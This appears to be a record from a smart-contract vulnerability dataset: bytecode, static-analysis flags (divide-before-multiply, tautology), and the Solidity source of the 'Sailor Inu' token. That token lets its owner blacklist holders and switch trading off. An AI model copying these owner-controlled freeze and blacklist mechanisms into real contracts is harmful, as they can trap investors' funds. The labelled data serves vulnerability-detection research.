fffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a26001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff161415801561094a575060008473ffffffffffffffffffffffffffffffffffffffff1614155b80156109565750600083115b151561096157600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610a21576109bf6115aa565b905082610a13826000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164190919063ffffffff16565b10151515610a2057600080fd5b5b610a2c85858561165a565b9150509392505050565b600881565b600d5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a9d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ad957600080fd5b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610b2757600080fd5b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f5e40a439a19faa971f5d14cf300dcd7ee0d236808b9a988c9b4ca89cb833e96160405160405180910390a250565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f4a4342000000000000000000000000000000000000000000000000000000000081525081565b6000610c4033848461147d565b905092915050565b600080600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ce957506000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1515610cf457600080fd5b60008610158015610d055750600486105b8015610d115750600085115b1515610d1c57600080fd5b6000861115610d5557600460018703600481101515610d3757fe5b015492506000831480610d4957508483105b1515610d5457600080fd5b5b6001600403861015610d9157600460018701600481101515610d7357fe5b015491506000821480610d8557508185105b1515610d9057600080fd5b5b600486600481101515610da057fe5b0154905084600487600481101515610db457fe5b01819055507f64848c65ffb9a9e4ef4aec8bcc21d1047934e7af916b2cbc867f6a7fae0f346186828760405180848152602001838152602001828152602001935050505060405180910390a16001935050505092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ea557600080fd5b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151515610ef457600080fd5b6001600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f6e5eedde7d0d690d55dea362660be04ef1eb36252e48817545afb1ae6b245a4060405160405180910390a250565b600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061101d57506000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b151561102857600080fd5b60008311151561103757600080fd5b600d54905082600d819055507fb01b0304cdcaffa13e4b57ecbe280da183afb719becd1d56e9211cc3781ea42181600d54604051808381526020018281526020019250505060405180910390a16001915050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561117157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111ad57600080fd5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061130b57506000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b151561131657600080fd5b600083101580156113275750600483105b80156113335750600483105b151561133e57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f280ff1c31d08649729d9b5d2935b6285be80fe36921694c515dd7ae310b14c12846004866004811015156113a857fe5b01546008876004811015156113b957fe5b015460405180848152602001838152602001828152602001935050505060405180910390a26004836004811015156113ed57fe5b01546008846004811015156113fe57fe5b015491509150915091565b6000808284029050600084148061142a575082848281151561142757fe5b04145b151561143257fe5b8091505092915050565b60008060008311151561144b57fe5b828481151561145657fe5b049050828481151561146457fe5b06818402018414151561147357fe5b8091505092915050565b60008060008573ffffffffffffffffffffffffffffffffffffffff16141580156114be575060008473ffffffffffffffffffffffffffffffffffffffff1614155b80156114ca5750600083115b15156114d557600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611595576115336115aa565b905082611587826000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164190919063ffffffff16565b1015151561159457600080fd5b5b6115a08585856119e1565b9150509392505050565b6000806000429150600090505b60048110156116375760006004826004811015156115d157fe5b015414156115de5761162a565b6004816004811015156115ed57fe5b015482111561161157600060048260048110151561160757fe5b0181905550611629565b60088160048110151561162057fe5b0154925061163c565b5b80806001019150506115b7565b600092505b505090565b600082821115151561164f57fe5b818303905092915050565b600080821180156116e7575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156117315750816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b151561173c57600080fd5b61178d826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611820826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118f182600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164190919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008082118015611a305750816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515611a3b57600080fd5b611a8c826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b1f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808284019050838110151515611be557fe5b8091505092915050565b6000611c018484846000806000611c0a565b90509392505050565b600080611c15611f32565b6107b291505b8861ffff168261ffff161015611c5e57611c3482611eb1565b15611c47576301e2850083019250611c51565b6301e13380830192505b8180600101925050611c1b565b601f816000600c81101515611c6f57fe5b602002019060ff16908160ff1681525050611c8989611eb1565b15611cb557601d816001600c81101515611c9f57fe5b602002019060ff16908160ff1681525050611cd8565b601c816001600c81101515611cc657fe5b602002019060ff16908160ff16815250505b601f816002600c81101515611ce957fe5b602002019060ff16908160ff1681525050601e816003600c81101515611d0b57fe5b602002019060ff16908160ff1681525050601f816004600c81101515611d2d57fe5b602002019060ff16908160ff1681525050601e816005600c81101515611d4f57fe5b602002019060ff16908160ff1681525050601f816006600c81101515611d7157fe5b602002019060ff16908160ff1681525050601f816007600c81101515611d9357fe5b602002019060ff16908160ff1681525050601e816008600c81101515611db557fe5b602002019060ff16908160ff1681525050601f816009600c81101515611dd757fe5b602002019060ff16908160ff1681525050601e81600a600c81101515611df957fe5b602002019060ff16908160ff1681525050601f81600b600c81101515611e1b57fe5b602002019060ff16908160ff1681525050600191505b8760ff168261ffff161015611e7357806001830361ffff16600c81101515611e5557fe5b602002015160ff166201518002830192508180600101925050611e31565b6001870360ff166201518002830192508560ff16610e1002830192508460ff16603c02830192508360ff168301925082925050509695505050505050565b60008060048361ffff16811515611ec457fe5b0661ffff16141515611ed95760009050611f2d565b600060648361ffff16811515611eeb57fe5b0661ffff16141515611f005760019050611f2d565b60006101908361ffff16811515611f1357fe5b0661ffff16141515611f285760009050611f2d565b600190505b919050565b61018060405190810160405280600c906020820280388339808201915050905050905600a165627a7a72305820dee25009e9ffd314bc7376d31e5fb13f358dc668feac7a52a3d5de9ddd1e4a870029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
10,463
0x0dad85e205f4de74978a04952ac0fa7f834d9acd
/** *Submitted for verification at Etherscan.io on 2022-04-19 */ /** Contract for Sailor Inu. On a path for wealthier future. Sailorinu.com -------------------------------------------------------- | | | )_) )_) )_) )___))___))___)\ )____)____)_____)\\ _____|____|____|____\\\__ ---------\ /--------- ^^^^^ ^^^^^^^^^^^^^^^^^^^^^ ^^^^ ^^^^ ^^^ ^^ ^^^^ ^^^ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SailorInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Sailor Inu"; string private constant _symbol = "SINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x45f7e9eB596B128C49d918F82501306aCc63f13f); address payable private _marketingAddress = payable(0x45f7e9eB596B128C49d918F82501306aCc63f13f); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 1000000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101ba5760003560e01c80637d1db4a5116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f046146105f4578063dd62ed3e1461061d578063ea1644d51461065a578063f2fde38b14610683576101c1565b8063a9059cbb14610563578063bfd79284146105a0578063c3c8cd80146105dd576101c1565b80638f70ccf7116100c65780638f70ccf7146104bb5780638f9a55c0146104e457806395d89b411461050f57806398a5c3151461053a576101c1565b80637d1db4a5146104285780637f2feddc146104535780638da5cb5b14610490576101c1565b8063313ce567116101595780636d8aa8f8116101335780636d8aa8f8146103945780636fc3eaec146103bd57806370a08231146103d4578063715018a614610411576101c1565b8063313ce5671461031557806349bd5a5e146103405780636b9990531461036b576101c1565b80631694505e116101955780631694505e1461025757806318160ddd1461028257806323b872dd146102ad5780632fd689e3146102ea576101c1565b8062b8cf2a146101c657806306fdde03146101ef578063095ea7b31461021a576101c1565b366101c157005b600080fd5b3480156101d257600080fd5b506101ed60048036038101906101e89190612bae565b6106ac565b005b3480156101fb57600080fd5b506102046107d6565b6040516102119190612c7f565b60405180910390f35b34801561022657600080fd5b50610241600480360381019061023c9190612cd7565b610813565b60405161024e9190612d32565b60405180910390f35b34801561026357600080fd5b5061026c610831565b6040516102799190612dac565b60405180910390f35b34801561028e57600080fd5b50610297610857565b6040516102a49190612dd6565b60405180910390f35b3480156102b957600080fd5b506102d460048036038101906102cf9190612df1565b610867565b6040516102e19190612d32565b60405180910390f35b3480156102f657600080fd5b506102ff610940565b60405161030c9190612dd6565b60405180910390f35b34801561032157600080fd5b5061032a610946565b6040516103379190612e60565b60405180910390f35b34801561034c57600080fd5b5061035561094f565b6040516103629190612e8a565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d9190612ea5565b610975565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612efe565b610a65565b005b3480156103c957600080fd5b506103d2610b17565b005b3480156103e057600080fd5b506103fb60048036038101906103f69190612ea5565b610be8565b6040516104089190612dd6565b60405180910390f35b34801561041d57600080fd5b50610426610c39565b005b34801561043457600080fd5b5061043d610d8c565b60405161044a9190612dd6565b60405180910390f35b34801561045f57600080fd5b5061047a60048036038101906104759190612ea5565b610d92565b6040516104879190612dd6565b60405180910390f35b34801561049c57600080fd5b506104a5610daa565b6040516104b29190612e8a565b60405180910390f35b3480156104c757600080fd5b506104e260048036038101906104dd9190612efe565b610dd3565b005b3480156104f057600080fd5b506104f9610e85565b6040516105069190612dd6565b60405180910390f35b34801561051b57600080fd5b50610524610e8b565b6040516105319190612c7f565b60405180910390f35b34801561054657600080fd5b50610561600480360381019061055c9190612f2b565b610ec8565b005b34801561056f57600080fd5b5061058a60048036038101906105859190612cd7565b610f67565b6040516105979190612d32565b60405180910390f35b3480156105ac57600080fd5b506105c760048036038101906105c29190612ea5565b610f85565b6040516105d49190612d32565b60405180910390f35b3480156105e957600080fd5b506105f2610fa5565b005b34801561060057600080fd5b5061061b60048036038101906106169190612fb3565b61107e565b005b34801561062957600080fd5b50610644600480360381019061063f9190613013565b6111b8565b6040516106519190612dd6565b60405180910390f35b34801561066657600080fd5b50610681600480360381019061067c9190612f2b565b61123f565b005b34801561068f57600080fd5b506106aa60048036038101906106a59190612ea5565b6112de565b005b6106b46114a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610741576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107389061309f565b60405180910390fd5b60005b81518110156107d257600160106000848481518110610766576107656130bf565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107ca9061311d565b915050610744565b5050565b60606040518060400160405280600a81526020017f5361696c6f7220496e7500000000000000000000000000000000000000000000815250905090565b60006108276108206114a0565b84846114a8565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b6000610874848484611673565b610935846108806114a0565b61093085604051806060016040528060288152602001613b5e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108e66114a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ef89092919063ffffffff16565b6114a8565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61097d6114a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a019061309f565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a6d6114a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af19061309f565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b586114a0565b73ffffffffffffffffffffffffffffffffffffffff161480610bce5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bb66114a0565b73ffffffffffffffffffffffffffffffffffffffff16145b610bd757600080fd5b6000479050610be581611f5c565b50565b6000610c32600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fc8565b9050919050565b610c416114a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc59061309f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ddb6114a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f9061309f565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f53494e5500000000000000000000000000000000000000000000000000000000815250905090565b610ed06114a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f549061309f565b60405180910390fd5b80601881905